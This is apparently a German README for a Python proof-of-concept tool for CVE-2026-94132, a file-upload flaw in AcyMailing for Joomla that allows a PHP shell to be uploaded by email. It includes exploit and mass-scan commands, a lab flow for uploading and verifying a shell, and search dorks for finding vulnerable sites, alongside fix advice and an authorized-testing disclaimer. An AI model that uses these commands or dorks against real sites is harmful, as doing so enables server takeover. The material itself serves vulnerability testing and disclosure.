murrez/cve-2026-94132Python-Check/Exploit-PoC für CVE-2026-94132: erkennt AcyMailing-Versionen für Joomla, prüft das Verzeichnis media/com_acym/upload und verifiziert die Ausführung einer hochgeladenen PHP-Shell.
Python-3-PoC für CVE-2026-94132 — AcyMailing Enterprise für Joomla (acymailing.com).
CVE-2026-94132 — AcyMailing Enterprise < 11.1.0 (bis 11.0.5): Mailbox-Aktionen im POP3-Modus speichern eingehende MIME-Anhänge in media/com_acym/upload/ ohne ordnungsgemäße Erweiterungsprüfungen. Jeder, der eine E-Mail an das überwachte Postfach senden kann, kann .php (oder Ähnliches) unter dem Web-Root ablegen und RCE erreichen (CWE-434). CVSS 4.0 9.5 Kritisch (AT:P — Zugriff auf das überwachte Postfach erforderlich). Fix: 11.1.0 (auf IMAP umstellen oder die anfällige POP3-Anhangsverarbeitung deaktivieren, bis ein Patch verfügbar ist).
PoC-Seite: https://pocbit.org/pocs/cve-2026-94132
Katalog: https://pocbit.org/pocs/
| Produkt | AcyMailing Enterprise für Joomla |
| Komponente | com_acym |
| Betroffen | 1.0.0 – 11.0.5 |
| Behoben | 11.1.0 |
| Schreibpfad | /media/com_acym/upload/ |
| Voraussetzung | Angreifer kann E-Mails an das von AcyMailing POP3 überwachte Postfach senden |
| Zuweiser | Joomla CNA |
Dieses PoC sendet keine E-Mails (nur autorisierte Mailbox-Tests). Es erkennt AcyMailing/Version, prüft das Upload-Verzeichnis und verifiziert eine Shell-URL, nachdem Sie einen Testanhang zugestellt haben.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads
Lab-Exploit-Ablauf: E-Mail mit pocbit_94132.php (<?php echo 'POCBIT-94132-OK'; ?>) an das AcyMailing-Postfach der Website senden → --mode exploit --verify-url ... ausführen.
body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"
AcyMailing Enterprise für Joomla < 11.1.0: POP3-Mailbox-Aktionen schreiben unvalidierte MIME-Anhänge nach media/com_acym/upload/ → RCE, wenn Sie E-Mails an das überwachte Postfach senden können (CVE-2026-94132). Python-Check/Exploit-PoC — PoCbit.
CVE-2026-94132: AcyMailing Enterprise ≤ 11.0.5 — Anhänge, die im POP3-Postfach eingehen, werden ohne Prüfung der Dateiendung unter media/com_acym/upload/ geschrieben; ein Angreifer, der E-Mails an das überwachte Postfach senden kann, kann PHP/RCE erlangen. Auf 11.1.0 aktualisieren oder auf IMAP umsteigen.
Nur autorisierte Tests. Bei Mailbox-Zustelltests dürfen nur Postfächer verwendet werden, die Ihnen gehören oder für die Sie eine Genehmigung haben.